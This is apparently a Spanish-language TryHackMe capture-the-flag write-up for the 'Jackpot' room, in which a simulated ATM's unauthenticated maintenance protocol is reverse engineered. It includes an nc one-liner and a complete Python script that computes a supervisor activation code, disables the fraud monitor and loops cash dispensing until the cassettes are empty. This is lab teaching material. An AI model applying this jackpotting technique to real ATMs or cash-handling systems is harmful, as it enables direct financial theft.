XUT_ / MACHINES / THM

0104

Jackpot

THMMACHINENONEMEDIUM
Binary ProtocolEnumerationHTTPLinuxNetworkPort ScanningProtocol AnalysisProtocol Reverse EngineeringPythonPython ScriptingWebWeb Enumeration

Introduction

Introduction

Sin tarjeta. Sin PIN. Sin transacción. Enséñale a la máquina a vaciarse por sí misma.

Un cajero automático de la sucursal de "Earth's National Bank" ha sido desconectado de la red para un análisis forense tras una serie de dispensaciones de efectivo inexplicables. La interfaz de mantenimiento que ofrece estaba destinada únicamente a los ingenieros conectados a la red local (LAN) de la sucursal, pero quedó accesible y utiliza el lenguaje de hardware nativo de la máquina sin ninguna autenticación que pueda considerarse como tal.

Al dispensador de efectivo no le importan las tarjetas, los PIN ni las transacciones; solo le interesa recibir órdenes de algo que domine su protocolo. Analiza la terminal expuesta, descubre cómo se comunica su software con el hardware y comprueba si logras convencerlo para que vacíe todos los cartuchos de efectivo.

Getting the Flags

Reconocimiento Inicial

Comenzamos escaneando los puertos abiertos.

Getting the Flags

Ahora analizamos dichos puertos más en profundidad.

Getting the Flags

Vamos a ver qué directorios puede contener.

Getting the Flags Getting the Flags

Profundización

Vamos a ver cómo es la web.

Getting the Flags

Vamos a mirar en los directorios encontrados. Todos muestran lo mismo:

Getting the Flags

Ahora vamos a descargarnos la herramienta de servicio.

Getting the Flags

Nos da un código de activación para el modo supervisor. Al no ver nada, vamos a abrir burpsuite para investigar. No encontramos nada más allá de poder modificar las respuestas del servidor, pero las validaciones no se hacen en el cliente, por lo que descartamos este camino. Vamos a probar a conectarnos al otro puerto que habíamos visto.

Getting the Flags

Podemos ver cosas interesantes, vamos a hacer una lista:

  • Formato de petición:
    • Tipo de mensaje (1 B)
    • Comando (4 B)
    • Longitud de los datos extra (X B)
    • Datos extra correspondientes a la longitud
  • Formato de la respuesta:
    • Longitud de la respuesta (X B)
    • Respuesta en JSON
  • Tipos de mensaje y su hex:
    • GETINFO
    • EXECUTE
    • Pista para obtener todos los comandos.

Así que vamos a hacer eso mismo, obtener todos los comandos. El mensaje quedaría tal que así:

txt
\x01\x00\x00\x03\x04\x00\x00

Por lo que para mandarlo:

bash
printf "\x01\x00\x00\x03\x04\x00\x00" | nc jackpot.thm 9100

Explotación

Vamos a realizar las pruebas pertinentes. Primero vemos el status y luego intentamos sacar dinero.

Getting the Flags

Tenemos que activar el modo supervisor.

Getting the Flags

Ahora si. Sin embargo, si intentamos sacar más dinero:

Getting the Flags

Bloquea el cajero y cambia el Nonce. Además, podemos desactivar el modo de monitorización con uno de los comandos.

Getting the Flags

Sabiendo todo esto, vamos a crear un script que:

  • Recupere el Nonce de http://jackpot.thm:8080/status
  • Utilice el script que descargamos para conseguir el código de activación del modo supervisión.
  • Envíe el código.
  • Desactive el modo de monitorización.
  • Extraiga los billetes que queden (con un máximo de 40 por transacción).
  • Pare cuando detecte que el atributo flag_released sea true.
python
#!/usr/bin/env python3
import socket
import struct
import json
import time
import subprocess

# Configuraciones de red
TCP_HOST = "jackpot.thm"
TCP_PORT = 9100

def calcular_codigo_activacion(nonce):
    """Llama al binario local ./jackpot pasándole el nonce y extrae el activation code."""
    try:
        result = subprocess.run(['./jackpot', str(nonce)], capture_output=True, text=True, check=True)
        for line in result.stdout.splitlines():
            if "activation code:" in line:
                return line.split(":")[-1].strip()
    except Exception as e:
        print(f"[-] Error ejecutar ./jackpot: {e}")
    return None

def comunicarse_con_cajero(msg_type, command_id, data_bytes=b""):
    """Envía una estructura binaria al puerto 9100 del cajero y devuelve la respuesta JSON limpia."""
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((TCP_HOST, TCP_PORT))
        
        # Descartar el banner de bienvenida inicial
        s.recv(1024)
        
        # Estructura binaria: 1 byte msg_type + 4 bytes command + 2 bytes length
        length = len(data_bytes)
        header = struct.pack("!B I H", msg_type, command_id, length)
        payload = header + data_bytes
        
        s.sendall(payload)
        
        # Leer longitud de respuesta (2 bytes) y JSON
        len_bytes = s.recv(2)
        if not len_bytes:
            return None
        
        res_len = struct.unpack("!H", len_bytes)[0]
        response_data = s.recv(res_len).decode('utf-8', errors='ignore')
        s.close()
        
        return json.loads(response_data)
    except Exception as e:
        print(f"[-] Error de comunicación TCP en comando {hex(command_id)}: {e}")
        return None

def ejecutar_ciclo_extraccion():
    print("[*] Iniciando ciclo de análisis...")
    
    # 1. Obtener el estado actual del dispositivo (Comando GETINFO 0x301)
    status_res = comunicarse_con_cajero(0x01, 0x0301)
    if not status_res or 'status' not in status_res:
        print("[-] No se pudo recuperar el estado actual.")
        return False

    status = status_res['status']
    
    # Comprobar si se ha liberado la bandera esperada
    if status.get('flag_released') is True:
        print("\n[+] ¡ÉXITO! flag_released es TRUE.")
        print(f"[+] Estado final del cajero: {status}")
        return True

    # Si está bloqueado temporalmente por anomalías previas, se debe esperar
    if status.get('locked') is True:
        wait_time = status.get('lock_remaining', 10)
        print(f"[!] El cajero está bloqueado temporalmente. Esperando {wait_time} segundos...")
        time.sleep(wait_time + 2)
        return False

    # 2. Identificar qué cassette tiene billetes disponibles
    target_cassette = None
    count_to_extract = 0
    
    for c in status['cassettes']:
        if c['count'] > 0:
            target_cassette = c['id']
            count_to_extract = min(c['count'], 40)
            break

    if not target_cassette:
        print("[*] Todos los cassettes reportan 0 billetes. Comprobando estado de la flag...")
        time.sleep(2)
        return False

    # 3. Obtener el Nonce actual directamente del estado del cajero
    nonce = status.get('nonce')
    print(f"[+] Utilizando Session Nonce actual: {nonce}")
    
    act_code = calcular_codigo_activacion(nonce)
    if not act_code:
        print("[-] Fallo en el cálculo del código de activación.")
        return False
        
    print(f"[+] Código de activación generado: {act_code}")

    # 4. Autorizar la sesión pasando al modo supervisor (Comando EXECUTE 0x4f0)
    print("[*] Enviando comando de Armado de modo Supervisor...")
    arm_res = comunicarse_con_cajero(0x02, 0x04f0, act_code.encode('utf-8'))
    if not arm_res or arm_res.get('rc') != "WFS_SUCCESS":
        print(f"[-] Fallo al pasar al modo supervisor: {arm_res}")
        time.sleep(2)
        return False

    # 5. Apagar el monitor de fraude antes de dispensar (Comando EXECUTE 0x4f1)
    print("[*] Desactivando monitor de fraude (WFS_CMD_CDM_SET_MONITOR)...")
    monitor_res = comunicarse_con_cajero(0x02, 0x04f1, b"off")
    print(f"[o] Respuesta del monitor: {monitor_res}")

    # 6. ENVIAR ORDEN DE RETIRO INCLUYENDO EL ID DE TRANSACCIÓN (NONCE)
    # Agregamos "transaction_id" al JSON usando el nonce dinámico para evitar el bloqueo automático
    payload_dict = {
        "id": target_cassette, 
        "count": count_to_extract,
        "transaction_id": int(nonce)
    }
    dispense_payload = json.dumps(payload_dict).encode('utf-8')
    
    print(f"[+] Extrayendo {count_to_extract} billetes del compartimento {target_cassette} con TxID {nonce}...")
    dispense_res = comunicarse_con_cajero(0x02, 0x0401, dispense_payload)
    print(f"[o] Respuesta del cajero: {dispense_res}")
    
    print("[*] Transacción completada. Dando una pequeña pausa para refresco físico...\n")
    time.sleep(2)
    return False

if __name__ == "__main__":
    completado = False
    while not completado:
        try:
            completado = ejecutar_ciclo_extraccion()
        except KeyboardInterrupt:
            print("\n[-] Proceso interrumpido manualmente.")
            break
        except Exception as e:
            print(f"[-] Ocurrió una anomalía durante la iteración: {e}")
            time.sleep(2)

Lo ejecutamos y:

Getting the Flags Getting the Flags

Ahora vamos a leer la flag:

Getting the Flags

SUCCESS

Hemos conseguido sacar todo el dinero y obtener la flag.